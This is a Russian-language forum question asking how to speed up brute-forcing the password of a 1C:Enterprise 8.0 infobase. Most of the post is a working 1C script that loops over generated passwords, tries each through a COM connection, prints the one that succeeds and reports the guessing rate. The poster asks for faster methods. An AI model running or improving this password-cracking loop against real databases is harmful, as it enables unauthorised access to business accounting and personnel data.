Как организовать быстрый подбор пароля?

Для некоторой конфигурации 8.0 требуется подобрать пароль. Использую последовательный перебор. Однако быстро переберать не получается (скорость до 4 паролей/сек.) по причине медленного соедиения с конфигурацией. Можетя нет что-то делаю или есть более быстрые алгоритмы... Мой примерно следующий:
ИБ = Новый COMОбъект("V8.Application");
  ИБ = Новый COMОбъект("V8.COMConnector");
  Час0 = Час(ТекущаяДата());
  Минута0 = Минута(ТекущаяДата());
  Секунда0 = Секунда(ТекущаяДата());
  НачалоИтераций = НомерПоЗначению(ЭлементыФормы.ПолеВвода9.Значение);
  КонецИтераций = НомерПоЗначению(ЭлементыФормы.ПолеВвода10.Значение);
  Для й = НачалоИтераций по КонецИтераций Цикл
    Пароль = ГенерацияПароля(й);
    Попытка
      ИБ.Connect("File=" + ИмяФайлаИБ + ";Usr="+Пользователь+"; Pwd="+Пароль);
      //ИБ.Connect("File=" + ИмяФайлаИБ + ";Usr="+Пользователь+"; Pwd="+Пароль);
      Сообщить(Пароль);
      Возврат;
    Исключение
      //Сообщить("Неудачный пароль: "+Пароль);
    КонецПопытки;
    Если Окр(й/20) = й/20 Тогда
      Час1 = Час(ТекущаяДата());
      Минута1 = Минута(ТекущаяДата());
      Секунда1 = Секунда(ТекущаяДата());
   ПрошлоВремени = (Секунда1 - Секунда0) + 60 * (Минута1 - Минута0) + 3600 * (Час1 - Час0);
      ВсегоВремени = Окр((КонецИтераций - НачалоИтераций + 1) * ПрошлоВремени / (й - НачалоИтераций + 1));
      ЭлементыФормы.ПолеВвода11.Значение = ВремяВСтроку(ПрошлоВремени);
      ЭлементыФормы.ПолеВвода12.Значение = ВремяВСтроку(ВсегоВремени - ПрошлоВремени);
      Если ПрошлоВремени <> 0 Тогда
        ЭлементыФормы.ПолеВвода13.Значение = Строка(Окр((й - НачалоИтераций + 1) / ПрошлоВремени, 3))+ " паролей / сек.";
      КонецЕсли;
    КонецЕсли;
  КонецЦикла;